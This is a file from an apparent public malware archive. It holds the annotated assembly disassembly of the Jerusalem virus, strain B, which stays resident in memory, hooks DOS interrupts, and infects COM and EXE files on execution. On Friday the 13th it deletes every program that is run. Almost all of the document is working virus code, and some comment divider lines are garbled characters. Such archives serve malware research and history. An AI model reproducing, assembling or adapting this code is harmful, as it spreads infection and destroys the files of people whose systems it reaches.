mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
721 lines
30 KiB
NASM
721 lines
30 KiB
NASM
PAGE 59,132
|
||
|
||
;*****************************************************************************
|
||
; Jerusalem Virus - Strain B
|
||
;
|
||
; Disassembled and commented by:
|
||
;
|
||
; - Captain Morgan -
|
||
;*****************************************************************************
|
||
|
||
|
||
.286c
|
||
|
||
data_1e equ 2Ch
|
||
data_2e equ 43h
|
||
data_3e equ 45h
|
||
data_4e equ 47h
|
||
data_5e equ 49h
|
||
data_6e equ 51h
|
||
data_7e equ 53h
|
||
data_8e equ 57h
|
||
data_9e equ 5Dh
|
||
data_10e equ 5Fh
|
||
data_11e equ 61h
|
||
data_12e equ 63h
|
||
data_13e equ 65h
|
||
data_14e equ 78h
|
||
data_15e equ 7Ah
|
||
data_16e equ 7Ch
|
||
data_17e equ 7Eh
|
||
data_18e equ 0Ah
|
||
data_19e equ 0Ch
|
||
data_20e equ 0Eh
|
||
data_21e equ 0Fh
|
||
data_22e equ 11h
|
||
data_23e equ 13h
|
||
data_24e equ 15h
|
||
data_25e equ 17h
|
||
data_26e equ 19h
|
||
data_27e equ 1Bh
|
||
data_28e equ 1Dh
|
||
data_29e equ 1Fh
|
||
data_30e equ 29h
|
||
data_31e equ 2Bh
|
||
data_32e equ 2Dh
|
||
data_33e equ 2Fh
|
||
data_34e equ 31h
|
||
data_35e equ 33h
|
||
data_36e equ 4Eh
|
||
data_37e equ 70h
|
||
data_38e equ 72h
|
||
data_39e equ 74h
|
||
data_40e equ 76h
|
||
data_41e equ 7Ah
|
||
data_42e equ 80h
|
||
data_43e equ 82h
|
||
data_44e equ 8Fh
|
||
|
||
seg_a segment
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
je proc far
|
||
|
||
start:
|
||
jmp loc_2 ; (0195)
|
||
db 73h, 55h, 4Dh, 73h, 44h, 6Fh
|
||
db 73h, 0, 1, 0EBh, 21h, 0
|
||
db 0, 0, 0ABh, 0Bh, 2Ch, 2
|
||
db 70h, 0, 92h, 0Eh, 29h, 1Ah
|
||
db 0EBh, 4, 59h, 6Fh, 0A8h
|
||
db 7Bh
|
||
db 13 dup (0)
|
||
db 0E8h, 6, 0D7h, 62h, 21h, 80h
|
||
db 0, 0, 0, 80h, 0, 62h
|
||
db 21h, 5Ch, 0, 62h, 21h, 6Ch
|
||
db 0, 62h, 21h, 10h, 7, 60h
|
||
db 5Bh, 0C5h, 0, 60h, 5Bh, 0
|
||
db 0F0h, 6, 0, 4Dh, 5Ah, 30h
|
||
db 0, 53h, 0, 1Fh, 0, 20h
|
||
db 0, 0, 0, 0FFh, 0FFh, 0B2h
|
||
db 9, 10h, 7, 84h, 19h, 0C5h
|
||
db 0, 0B2h, 9, 20h, 0, 0
|
||
db 0, 2Eh, 0Dh, 0Ah, 0, 0
|
||
db 5, 0, 20h, 0, 26h, 12h
|
||
db 46h, 0A3h, 0, 2, 10h, 0
|
||
db 20h, 9Dh, 0, 0, 7Bh, 3Dh
|
||
db 2Eh, 9Bh
|
||
db 'COMMAND.COM'
|
||
db 1, 0, 0, 0, 0, 0
|
||
loc_2:
|
||
cld ; Clear direction
|
||
mov ah,0E0h
|
||
int 21h ; DOS Services ah=function E0h
|
||
cmp ah,0E0h
|
||
jae loc_3 ; Jump if above or =
|
||
cmp ah,3
|
||
jb loc_3 ; Jump if below
|
||
mov ah,0DDh
|
||
mov di,100h
|
||
mov si,710h
|
||
add si,di
|
||
mov cx,cs:[di+11h]
|
||
nop ;*Fixup for MASM (M)
|
||
int 21h ; DOS Services ah=function DDh
|
||
loc_3:
|
||
mov ax,cs
|
||
add ax,10h
|
||
mov ss,ax
|
||
mov sp,700h
|
||
loc_4:
|
||
push ax
|
||
mov ax,0C5h
|
||
push ax
|
||
retf ; Return far
|
||
db 0FCh, 6, 2Eh, 8Ch, 6, 31h
|
||
db 0, 2Eh, 8Ch, 6, 39h, 0
|
||
db 2Eh, 8Ch, 6, 3Dh, 0, 2Eh
|
||
db 8Ch, 6, 41h, 0, 8Ch, 0C0h
|
||
db 5, 10h, 0, 2Eh, 1, 6
|
||
db 49h, 0, 2Eh, 1, 6, 45h
|
||
db 0, 0B4h, 0E0h, 0CDh, 21h, 80h
|
||
db 0FCh, 0E0h, 73h, 13h, 80h, 0FCh
|
||
db 3, 7, 2Eh, 8Eh, 16h, 45h
|
||
db 0, 2Eh, 8Bh, 26h, 43h, 0
|
||
db 2Eh, 0FFh, 2Eh, 47h, 0, 33h
|
||
db 0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
|
||
db 3, 2Eh, 0A3h, 4Bh, 0, 26h
|
||
db 0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
|
||
db 0
|
||
db 26h
|
||
|
||
je endp
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
int_24h_entry proc far
|
||
mov word ptr ds:[3FCh],0A5F3h
|
||
mov byte ptr es:data_47,0CBh
|
||
pop ax
|
||
add ax,10h
|
||
mov es,ax
|
||
push cs
|
||
pop ds
|
||
mov cx,710h
|
||
shr cx,1 ; Shift w/zeros fill
|
||
xor si,si ; Zero register
|
||
mov di,si
|
||
push es
|
||
mov ax,142h
|
||
push ax
|
||
;* jmp far ptr loc_1 ;*(0000:03FC)
|
||
db 0EAh, 0FCh, 3, 0, 0
|
||
db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
|
||
db 7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
|
||
db 0A1h, 4Bh, 0, 0A3h, 0FCh, 3
|
||
db 2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
|
||
db 3
|
||
int_24h_entry endp
|
||
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
int_21h_entry proc far
|
||
mov bx,sp
|
||
mov cl,4
|
||
shr bx,cl ; Shift w/zeros fill
|
||
add bx,10h
|
||
mov cs:data_35e,bx
|
||
mov ah,4Ah ; 'J'
|
||
mov es,cs:data_34e
|
||
int 21h ; DOS Services ah=function 4Ah
|
||
; change mem allocation, bx=siz
|
||
mov ax,3521h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov cs:data_25e,bx
|
||
mov cs:data_26e,es
|
||
push cs
|
||
pop ds
|
||
mov dx,25Bh
|
||
mov ax,2521h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov es,ds:data_34e
|
||
mov es,es:data_1e
|
||
xor di,di ; Zero register
|
||
mov cx,7FFFh
|
||
xor al,al ; Zero register
|
||
|
||
locloop_5:
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
cmp es:[di],al
|
||
loopnz locloop_5 ; Loop if zf=0, cx>0
|
||
|
||
mov dx,di
|
||
add dx,3
|
||
mov ax,4B00h
|
||
push es
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov bx,35h
|
||
push ds
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
mov ah,2Ah ; '*'
|
||
int 21h ; DOS Services ah=function 2Ah
|
||
; get date, cx=year, dx=mon/day
|
||
mov byte ptr cs:data_20e,0
|
||
cmp cx,7C3h
|
||
je loc_7 ; Jump if equal
|
||
cmp al,5 ; Check to see if it's Friday
|
||
jne loc_6 ; Jump if not equal
|
||
cmp dl,0Dh ; Check to see if it's the 13th
|
||
jne loc_6 ; Jump if not equal
|
||
inc byte ptr cs:data_20e
|
||
jmp short loc_7 ; (02F7)
|
||
db 90h
|
||
loc_6:
|
||
mov ax,3508h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov cs:data_23e,bx
|
||
mov cs:data_24e,es
|
||
push cs
|
||
pop ds
|
||
mov word ptr ds:data_29e,7E90h
|
||
mov ax,2508h
|
||
mov dx,21Eh
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
loc_7:
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
pushf ; Push flags
|
||
call dword ptr cs:data_25e
|
||
push ds
|
||
pop es
|
||
mov ah,49h ; 'I'
|
||
int 21h ; DOS Services ah=function 49h
|
||
; release memory block, es=seg
|
||
mov ah,4Dh ; 'M'
|
||
int 21h ; DOS Services ah=function 4Dh
|
||
; get return code info in ax
|
||
mov ah,31h ; '1'
|
||
mov dx,600h
|
||
mov cl,4
|
||
shr dx,cl ; Shift w/zeros fill
|
||
add dx,10h
|
||
int 21h ; DOS Services ah=function 31h
|
||
; terminate & stay resident
|
||
db 32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
|
||
db 1Fh, 0, 2, 75h, 17h, 50h
|
||
db 53h, 51h, 52h, 55h, 0B8h, 2
|
||
db 6, 0B7h, 87h, 0B9h, 5, 5
|
||
db 0BAh, 10h, 10h, 0CDh, 10h, 5Dh
|
||
db 5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
|
||
db 0Eh, 1Fh, 0, 75h, 12h, 2Eh
|
||
db 0C7h, 6, 1Fh, 0, 1, 0
|
||
db 50h, 51h, 56h, 0B9h, 1, 40h
|
||
db 0F3h, 0ACh
|
||
db 5Eh, 59h, 58h
|
||
loc_8:
|
||
jmp dword ptr cs:data_23e
|
||
db 9Ch, 80h, 0FCh, 0E0h, 75h, 5
|
||
db 0B8h, 0, 3, 9Dh, 0CFh, 80h
|
||
db 0FCh, 0DDh, 74h, 13h, 80h, 0FCh
|
||
db 0DEh, 74h, 28h, 3Dh, 0, 4Bh
|
||
db 75h, 3, 0E9h, 0B4h, 0
|
||
loc_9:
|
||
popf ; Pop flags
|
||
jmp dword ptr cs:data_25e
|
||
loc_10:
|
||
pop ax
|
||
pop ax
|
||
mov ax,100h
|
||
mov cs:data_18e,ax
|
||
pop ax
|
||
mov cs:data_19e,ax
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
popf ; Pop flags
|
||
mov ax,cs:data_21e
|
||
jmp dword ptr cs:data_18e
|
||
loc_11:
|
||
add sp,6
|
||
popf ; Pop flags
|
||
mov ax,cs
|
||
mov ss,ax
|
||
mov sp,710h
|
||
push es
|
||
push es
|
||
xor di,di ; Zero register
|
||
push cs
|
||
pop es
|
||
mov cx,10h
|
||
mov si,bx
|
||
mov di,21h
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov ax,ds
|
||
mov es,ax
|
||
mul word ptr cs:data_41e ; ax = data * ax
|
||
add ax,cs:data_31e
|
||
adc dx,0
|
||
div word ptr cs:data_41e ; ax,dxrem=dx:ax/data
|
||
mov ds,ax
|
||
mov si,dx
|
||
mov di,dx
|
||
mov bp,es
|
||
mov bx,cs:data_33e
|
||
or bx,bx ; Zero ?
|
||
jz loc_13 ; Jump if zero
|
||
loc_12:
|
||
mov cx,8000h
|
||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||
add ax,1000h
|
||
add bp,1000h
|
||
mov ds,ax
|
||
mov es,bp
|
||
dec bx
|
||
jnz loc_12 ; Jump if not zero
|
||
loc_13:
|
||
mov cx,cs:data_32e
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
pop ax
|
||
push ax
|
||
add ax,10h
|
||
add cs:data_30e,ax
|
||
data_47 db 2Eh
|
||
db 1, 6, 25h, 0, 2Eh, 0A1h
|
||
db 21h, 0, 1Fh, 7, 2Eh, 8Eh
|
||
db 16h, 29h, 0, 2Eh, 8Bh, 26h
|
||
db 27h, 0, 2Eh, 0FFh, 2Eh, 23h
|
||
db 0
|
||
loc_14:
|
||
xor cx,cx ; Zero register
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
mov ah,41h ; 'A'
|
||
int 21h ; DOS Services ah=function 41h
|
||
; delete file, name @ ds:dx
|
||
mov ax,4B00h
|
||
popf ; Pop flags
|
||
jmp dword ptr cs:data_25e
|
||
loc_15:
|
||
cmp byte ptr cs:data_20e,1
|
||
je loc_14 ; Jump if equal
|
||
mov word ptr cs:data_37e,0FFFFh
|
||
mov word ptr cs:data_44e,0
|
||
mov cs:data_42e,dx
|
||
mov cs:data_43e,ds
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
cld ; Clear direction
|
||
mov di,dx
|
||
xor dl,dl ; Zero register
|
||
cmp byte ptr [di+1],3Ah ; ':'
|
||
jne loc_16 ; Jump if not equal
|
||
mov dl,[di]
|
||
and dl,1Fh
|
||
loc_16:
|
||
mov ah,36h ; '6'
|
||
int 21h ; DOS Services ah=function 36h
|
||
; get free space, drive dl,1=a:
|
||
cmp ax,0FFFFh
|
||
jne loc_18 ; Jump if not equal
|
||
loc_17:
|
||
jmp loc_44 ; (06E7)
|
||
loc_18:
|
||
mul bx ; dx:ax = reg * ax
|
||
mul cx ; dx:ax = reg * ax
|
||
or dx,dx ; Zero ?
|
||
jnz loc_19 ; Jump if not zero
|
||
cmp ax,710h
|
||
jb loc_17 ; Jump if below
|
||
loc_19:
|
||
mov dx,cs:data_42e
|
||
push ds
|
||
pop es
|
||
xor al,al ; Zero register
|
||
mov cx,41h
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
mov si,cs:data_42e
|
||
loc_20:
|
||
mov al,[si]
|
||
or al,al ; Zero ?
|
||
jz loc_22 ; Jump if zero
|
||
cmp al,61h ; 'a'
|
||
jb loc_21 ; Jump if below
|
||
cmp al,7Ah ; 'z'
|
||
ja loc_21 ; Jump if above
|
||
sub byte ptr [si],20h ; ' '
|
||
loc_21:
|
||
inc si
|
||
jmp short loc_20 ; (0490)
|
||
loc_22:
|
||
mov cx,0Bh
|
||
sub si,cx
|
||
mov di,84h
|
||
push cs
|
||
pop es
|
||
mov cx,0Bh
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jnz loc_23 ; Jump if not zero
|
||
jmp loc_44 ; (06E7)
|
||
loc_23:
|
||
mov ax,4300h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
jc loc_24 ; Jump if carry Set
|
||
mov cs:data_38e,cx
|
||
loc_24:
|
||
jc loc_26 ; Jump if carry Set
|
||
xor al,al ; Zero register
|
||
mov cs:data_36e,al
|
||
push ds
|
||
pop es
|
||
mov di,dx
|
||
mov cx,41h
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
cmp byte ptr [di-2],4Dh ; 'M'
|
||
je loc_25 ; Jump if equal
|
||
cmp byte ptr [di-2],6Dh ; 'm'
|
||
je loc_25 ; Jump if equal
|
||
inc byte ptr cs:data_36e
|
||
loc_25:
|
||
mov ax,3D00h
|
||
int 21h ; DOS Services ah=function 3Dh
|
||
; open file, al=mode,name@ds:dx
|
||
loc_26:
|
||
jc loc_28 ; Jump if carry Set
|
||
mov cs:data_37e,ax
|
||
mov bx,ax
|
||
mov ax,4202h
|
||
mov cx,0FFFFh
|
||
mov dx,0FFFBh
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
jc loc_26 ; Jump if carry Set
|
||
add ax,5
|
||
mov cs:data_22e,ax
|
||
mov cx,5
|
||
mov dx,6Bh
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
mov di,dx
|
||
mov si,5
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jnz loc_27 ; Jump if not zero
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
jmp loc_44 ; (06E7)
|
||
loc_27:
|
||
mov ax,3524h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov ds:data_27e,bx
|
||
mov ds:data_28e,es
|
||
mov dx,21Bh
|
||
mov ax,2524h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
lds dx,dword ptr ds:data_42e ; Load 32 bit ptr
|
||
xor cx,cx ; Zero register
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
loc_28:
|
||
jc loc_29 ; Jump if carry Set
|
||
mov bx,cs:data_37e
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
mov word ptr cs:data_37e,0FFFFh
|
||
mov ax,3D02h
|
||
int 21h ; DOS Services ah=function 3Dh
|
||
; open file, al=mode,name@ds:dx
|
||
jc loc_29 ; Jump if carry Set
|
||
mov cs:data_37e,ax
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov bx,ds:data_37e
|
||
mov ax,5700h
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
mov ds:data_39e,dx
|
||
mov ds:data_40e,cx
|
||
mov ax,4200h
|
||
xor cx,cx ; Zero register
|
||
mov dx,cx
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
loc_29:
|
||
jc loc_32 ; Jump if carry Set
|
||
cmp byte ptr ds:data_36e,0
|
||
je loc_30 ; Jump if equal
|
||
jmp short loc_34 ; (05E6)
|
||
db 90h
|
||
loc_30:
|
||
mov bx,1000h
|
||
mov ah,48h ; 'H'
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
jnc loc_31 ; Jump if carry=0
|
||
mov ah,3Eh ; '>'
|
||
mov bx,ds:data_37e
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
jmp loc_44 ; (06E7)
|
||
loc_31:
|
||
inc word ptr ds:data_44e
|
||
mov es,ax
|
||
xor si,si ; Zero register
|
||
mov di,si
|
||
mov cx,710h
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov dx,di
|
||
mov cx,ds:data_22e
|
||
mov bx,ds:data_37e
|
||
push es
|
||
pop ds
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
loc_32:
|
||
jc loc_33 ; Jump if carry Set
|
||
add di,cx
|
||
xor cx,cx ; Zero register
|
||
mov dx,cx
|
||
mov ax,4200h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
mov si,5
|
||
mov cx,5
|
||
rep movs byte ptr es:[di],cs:[si] ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov cx,di
|
||
xor dx,dx ; Zero register
|
||
mov ah,40h ; '@'
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
loc_33:
|
||
jc loc_35 ; Jump if carry Set
|
||
jmp loc_42 ; (06A2)
|
||
loc_34:
|
||
mov cx,1Ch
|
||
mov dx,4Fh
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
loc_35:
|
||
jc loc_37 ; Jump if carry Set
|
||
mov word ptr ds:data_11e,1984h
|
||
mov ax,ds:data_9e
|
||
mov ds:data_3e,ax
|
||
mov ax,ds:data_10e
|
||
mov ds:data_2e,ax
|
||
mov ax,ds:data_12e
|
||
mov ds:data_4e,ax
|
||
mov ax,ds:data_13e
|
||
mov ds:data_5e,ax
|
||
mov ax,ds:data_7e
|
||
cmp word ptr ds:data_6e,0
|
||
je loc_36 ; Jump if equal
|
||
dec ax
|
||
loc_36:
|
||
mul word ptr ds:data_14e ; ax = data * ax
|
||
add ax,ds:data_6e
|
||
adc dx,0
|
||
add ax,0Fh
|
||
adc dx,0
|
||
and ax,0FFF0h
|
||
mov ds:data_16e,ax
|
||
mov ds:data_17e,dx
|
||
add ax,710h
|
||
adc dx,0
|
||
loc_37:
|
||
jc loc_39 ; Jump if carry Set
|
||
div word ptr ds:data_14e ; ax,dxrem=dx:ax/data
|
||
or dx,dx ; Zero ?
|
||
jz loc_38 ; Jump if zero
|
||
inc ax
|
||
loc_38:
|
||
mov ds:data_7e,ax
|
||
mov ds:data_6e,dx
|
||
mov ax,ds:data_16e
|
||
mov dx,ds:data_17e
|
||
div word ptr ds:data_15e ; ax,dxrem=dx:ax/data
|
||
sub ax,ds:data_8e
|
||
mov ds:data_13e,ax
|
||
mov word ptr ds:data_12e,0C5h
|
||
mov ds:data_9e,ax
|
||
mov word ptr ds:data_10e,710h
|
||
xor cx,cx ; Zero register
|
||
mov dx,cx
|
||
mov ax,4200h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
loc_39:
|
||
jc loc_40 ; Jump if carry Set
|
||
mov cx,1Ch
|
||
mov dx,4Fh
|
||
mov ah,40h ; '@'
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
loc_40:
|
||
jc loc_41 ; Jump if carry Set
|
||
cmp ax,cx
|
||
jne loc_42 ; Jump if not equal
|
||
mov dx,ds:data_16e
|
||
mov cx,ds:data_17e
|
||
mov ax,4200h
|
||
int 21h ; DOS Services ah=function 42h
|
||
; move file ptr, cx,dx=offset
|
||
loc_41:
|
||
jc loc_42 ; Jump if carry Set
|
||
xor dx,dx ; Zero register
|
||
mov cx,710h
|
||
mov ah,40h ; '@'
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
loc_42:
|
||
cmp word ptr cs:data_44e,0
|
||
je loc_43 ; Jump if equal
|
||
mov ah,49h ; 'I'
|
||
int 21h ; DOS Services ah=function 49h
|
||
; release memory block, es=seg
|
||
loc_43:
|
||
cmp word ptr cs:data_37e,0FFFFh
|
||
je loc_44 ; Jump if equal
|
||
mov bx,cs:data_37e
|
||
mov dx,cs:data_39e
|
||
mov cx,cs:data_40e
|
||
mov ax,5701h
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
lds dx,dword ptr cs:data_42e ; Load 32 bit ptr
|
||
mov cx,cs:data_38e
|
||
mov ax,4301h
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
lds dx,dword ptr cs:data_27e ; Load 32 bit ptr
|
||
mov ax,2524h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
loc_44:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf ; Pop flags
|
||
jmp dword ptr cs:data_25e
|
||
db 11 dup (0)
|
||
db 4Dh, 63h, 21h, 4
|
||
db 13 dup (0)
|
||
db 5Bh, 0, 0, 0, 2Bh, 0
|
||
db 0FFh
|
||
db 17 dup (0FFh)
|
||
db 'E:\SV\EXECDOS.BAT'
|
||
db 0
|
||
db 'EXECDOS', 0Dh
|
||
db 0, 7Dh, 0, 0, 80h, 0
|
||
db 53h, 0Eh, 5Ch, 0, 53h, 0Eh
|
||
db 6Ch, 4Dh, 63h, 21h, 0, 10h
|
||
db 'EC=F:\DOS\C'
|
||
db 0E9h, 92h, 0, 73h, 55h, 4Dh
|
||
db 73h, 44h, 6Fh, 73h, 0, 1
|
||
db 0B8h, 22h, 0, 0, 0, 1Ah
|
||
db 3, 2Ch, 2, 70h, 0
|
||
loc_45:
|
||
xchg ax,dx
|
||
push cs
|
||
sub [bp+si],bx
|
||
;* jmp short loc_46 ;*(0781)
|
||
db 0EBh, 4
|
||
db 63h, 21h, 0D0h, 59h
|
||
int_21h_entry endp
|
||
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|